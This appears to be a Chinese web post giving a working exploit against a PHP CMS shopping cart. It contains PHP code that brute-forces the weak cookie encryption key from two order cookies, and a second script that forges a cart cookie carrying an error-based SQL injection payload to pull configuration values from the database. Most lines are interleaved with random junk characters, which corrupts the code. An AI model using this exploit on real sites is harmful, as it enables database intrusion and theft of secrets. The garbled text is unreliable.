www.xxx.com/plus/search.php?keyword=
% J. }3 n, Y3 d在 include/shopcar.class.php中, g7 k! s/ }' T4 h
先看一下这个shopcar类是如何生成cookie的
# {1 M& b- e0 b- n& h' E/ J* b a239 function saveCookie($key,$value)' F- l4 }& H7 ~) q4 M3 N3 G. H, s
240 {
+ W; w, z' D7 `, u241 if(is_array($value))" `# [! Q+ ~+ O7 y: E
242 {
8 Q1 l; b( s8 `/ f243 $value = $this->enCrypt($this->enCode($value));8 M$ F& c- c! E+ Z! I5 s4 \
244 }
8 t8 b0 N0 A, i& z- g245 else
4 f: E- I y/ |4 Q, A- i246 {5 P5 ?$ d: }! d& r
247 $value = $this->enCrypt($value);; Q" w; k7 \, P8 p: F
248 }( b+ C) v5 T- c
249 setcookie($key,$value,time()+36000,’/');" N3 `( G: s `& _
250 }
4 p# \7 _: ]6 n* G简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数" E7 {2 O, Y% u0 ?
186 function enCrypt($txt)
3 v1 ^5 ^3 u7 s6 ^2 t0 r187 {
7 S. o+ G( w3 T2 r( o188 srand((double)microtime() * 1000000);% M% T0 U4 l6 C# [! B# z0 ]
189 $encrypt_key = md5(rand(0, 32000));* B k2 b9 i7 Y* Q
190 $ctr = 0;$ o% \9 |% g% j/ Q/ U0 j/ c% t
191 $tmp = ”; x5 M; R& ~7 B7 z8 e
192 for($i = 0; $i < strlen($txt); $i++)7 i8 j/ M- a( Z! S# m* }
193 {
; N3 A- o2 b- j0 _6 `194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
' D( ~/ o: k1 Y8 @7 ~% v195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);9 Z9 f9 l: J6 f# S% I
196 }
$ V/ |0 Z& P! u0 W) [197 return base64_encode($this->setKey($tmp));
5 v5 S0 W1 a8 N `2 @2 ~198 }" A% x! l/ R, d! l% V' t4 W3 Z
213 function setKey($txt), t: N# x1 F& _7 B( Y/ n: L
214 {' ]. ]+ E; l" [- Y
215 global $cfg_cookie_encode;& F' }- q7 U6 X
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
7 q0 i8 w8 M. M217 $ctr = 0;
/ @: V1 E S% y1 D* p, s1 V218 $tmp = ”;* ^( {: R3 G+ k0 Q% ^5 k1 S( O
219 for($i = 0; $i < strlen($txt); $i++)
# j+ ]3 ]3 R5 _# H; ~7 E4 ^220 {( U9 q. @8 S0 ?% X
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
" L! G! R( J/ i+ u. e222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++]; K! s* Q; n( v" [' @
223 }9 Z, h) V' j5 \% W' p* ?% L
224 return $tmp;2 x8 }& P% u% V' e0 m
225 }$ V$ w3 _# C5 ?7 O' I3 D4 Z
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
( K+ `' b* h! h) N( u3 ]! m然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。0 a1 `) i- j) h3 r% u
具体代码如下:4 P" W- @1 ? f
<?php9 ?' ]/ @5 C: f: H5 Y
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here; Z" M; m$ b/ u
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
5 p P3 n0 a& |" C2 ?3 q$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
( m8 x. X& A; Dfunction reStrCode($code,$string)
4 D% _2 o# Q1 r, c2 y{
0 M! f! K$ S% z, S$code = base64_decode($code);
9 L" f3 y8 e; f$ }$ E: R$key = “”;
: f+ ~5 A- ]7 h0 z q2 C. p1 zfor($i=0 ; $i<32 ; $i++)
Z3 M' |$ b" x, Y& e, f7 o{8 v4 `) R4 I% ~3 M b v
$key .= $string[$i] ^ $code[$i];
( \ e, W/ E! d$ W. \ y! y}. c# X% w5 R, \/ S' y
return $key;) k$ _& e- h9 a! u
} s6 H! c' D/ k& p4 B) b
function getKeys($cookie,$plantxt) U" s8 H/ W4 s' o5 o8 K, g# T+ `
{2 ]# i% I' r# \$ c+ U+ D
$tmp = $cookie;" a* x ~3 A) ]% p! s. i
$results = array();9 n+ f; O" O( k9 G {9 x
for($j=0 ; $j < 32000; $j++)
# M& r* d* j" J7 O6 Y( I{- `) @' p8 j6 @) {( B, H
( j) E' g& x/ i8 _9 U$txt = $plantxt;1 C. `9 Q7 u O% j) j; \, H+ {% J
$ctr = 0;
$ a; O- V6 [9 m, V$tmp = ”;
5 a( w" \' x [& z% G5 [$encrypt_key = md5($j);
( w. ? ]! J% L8 `6 c5 |for($i =0; $i < strlen($txt); $i ++)
3 O5 a. B: J5 b{
5 Z3 y; ^* w* w! s$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 s8 p, o+ o" U; r8 {5 O$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);2 D8 N4 q& d2 |+ H/ e
}9 ~7 M# M" e5 s' v! x3 `* `
$string = $tmp;7 Q, {% t% P: S3 f
$code = $cookie;: t! j9 y; O; M$ Q1 p( m. v- J
$result = reStrCode($code,$string);
5 {7 g8 }5 H4 p5 {if(eregi(‘^[a-z0-9]+$’,$result))
8 u. x0 T4 i# z1 ?( d- [{
8 n' R4 C2 Z$ Zecho $result.”\n”;5 I* |3 w3 u+ G
$results[] = $result;" V% {# \* A5 T- Q4 N4 `
}! h1 P0 } r0 J
}2 Z3 l, Q' p4 \/ v/ t
return $results;
; \2 k4 S* `# Q$ j}
6 g1 Y& C4 F7 e* m$results1 = getKeys($cookie1,$plantxt);
7 d* A& f* d* B8 d+ `( E% u7 Q$results2 = getKeys($cookie2,$plantxt);
' L7 z1 ? O+ g$ yprint “\n——————–real key————————–\n”;
$ s2 B) E/ y3 t" nforeach($results1 as $test1)
5 n* l- @6 r5 d6 O) H{3 Y, |* F( q) g! H
foreach($results2 as $test2)6 h8 E: b, J7 S4 o1 u
{, w/ Z/ M9 m4 ?% P# N) U( R. u6 S
if($test1 == $test2)9 z6 Z- I1 P+ h( r
{
% p! H3 Q- B+ d8 o5 R9 U& Oecho $test1.”\n”;% l1 T$ J2 j; D+ c! Z1 G
}: s7 ]$ m; A# b8 u# w
}
) O% g2 i- k4 T( n" l. o {}
' `% w1 h+ |: q?>7 [/ `9 Z, }7 [; B/ b) |- i
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
' `+ f. s/ M8 [8 H x8 q& Y4 ?! z, `& Xplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua11 |, ^& d! v5 p2 Y& t/ R. O0 }
然后推算出md5(strtolower($cfg_cookie_encode))
5 N- _" t" B+ N- g1 E( E得到这个key之后,我们就可以构造任意购物车的cookie* C- N+ P# h; e2 k: T9 }' g- v& s
接着看
) a) g+ A7 T* [% s0 I' G20 class MemberShops
0 g/ D" v8 Q8 E$ W1 B21 {
0 |% g0 p% b7 `. u$ i9 u22 var $OrdersId;
+ g- o( a) |8 x: r% I f$ Z23 var $productsId;+ U. j1 @( S3 u2 j6 P% s0 E8 q
246 b6 B- |' r, `% C8 m! j! L$ D
25 function __construct()
6 O5 p5 V8 X# b; Y" T; e26 {
9 q) Q) |. y; Q27 $this->OrdersId = $this->getCookie(“OrdersId”);
% I% ^- Q4 F Z7 W5 q o28 if(empty($this->OrdersId))
$ ]; w3 `* h# u; `29 {; k/ g0 `3 Q' H1 U9 M+ k* H( J
30 $this->OrdersId = $this->MakeOrders();
@* W1 V/ t! y9 O" {, J C31 }2 g2 O7 G: `9 ~; H7 d. V4 m2 }% o
32 }
- B! J; c# m. E& y* F: n发现OrderId是从cookie里面获取的
9 f4 }" A' X) ? |) ~. h6 q0 S然后1 R, \7 L/ p) D) M6 m4 a
/plus/carbuyaction.php中的& A( B- g: E+ O5 B0 ]7 n+ v& r& h& ~
29 $cart = new MemberShops();
0 O& G. Z6 c# U$ C' {39 $OrdersId = $cart->OrdersId; //本次记录的订单号
' Y7 n! g" @( ^ `# l0 S- Y……
% Z( s$ c( p, M" r173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);: ~% s: j2 e- J& h% u
接着我们就可以注入了" Z3 n& y1 g/ A$ m# c+ V% ~) q
通过利用下面代码生成cookie:
, |6 Q T0 w8 M& h<?php
+ {7 j) V5 o) a5 |% Y) u( F1 m6 l$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;/ l9 L/ A f; t$ R" s k
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
$ w7 M% o" {. R' ~+ Wfunction setKey($txt)* w: y, W; ~4 q
{( P6 t& b2 s$ e- Z7 N8 `
global $encrypt_key;7 @- L8 q) p0 Q4 r) g3 A3 o# _9 I
$ctr = 0;
9 w& @" {" L" Z7 P$tmp = ”;, ^6 f! P/ }2 V$ N6 M7 s+ g W0 L
for($i = 0; $i < strlen($txt); $i++)
" \ {$ t" [4 R9 i{
' _' L: C' n+ @2 K$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
M( W7 N: ?0 h$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
9 `7 j9 F- }+ z: \}
g" X+ G% s) P+ `return $tmp;
1 }0 P# R4 w9 v+ Y6 m/ H}
8 l' [5 l/ s( U) k6 Y8 F. s: x: gfunction enCrypt($txt)
8 ~% c2 r1 I( T9 ~; E/ R& B; O{5 J- ]8 [, S4 m( |' o0 M! m
srand((double)microtime() * 1000000);, v- C I6 ]7 c) z3 Y; l l M, C. ]
$encrypt_key = md5(rand(0, 32000));: |) A9 L' W2 ^# R9 @. M' N6 X
$ctr = 0;
+ O$ K; E" s9 K5 _2 l2 |$tmp = ”;6 b" ?1 ?& h8 A3 ^3 Z
for($i = 0; $i < strlen($txt); $i++)5 j+ X0 w: j K7 Q5 K
{
- g5 Z- B2 ~ j$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
' w& V% B% M( H1 h$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);) n/ t! D r& y4 \
}
3 k, w- n& ^/ X) ^5 W' h. X# ~return base64_encode(setKey($tmp));
+ _+ q$ x4 Z; V A Q}
7 m" q0 `& W3 k" }for($dest =0;$dest = enCrypt($txt);)5 `+ ?3 Q& u/ F/ K9 }
{
; N$ N, E/ X( h0 p% Uif(!strpos($dest,’+')), o0 x- T% R' W7 B% C
{( m! C! g7 A, \' R# o. W) I
break;
+ F) T- l1 u. Y& y* H}* A+ r0 \1 F# |3 ^
}7 i) K7 I" @& {1 M0 D) E
echo $dest.”\n”;1 ?8 E' z9 G- y O
?>4 P7 j5 ^: m' W* G
; S! e* ^% ?/ B5 p( |3 I) V9 ]; C |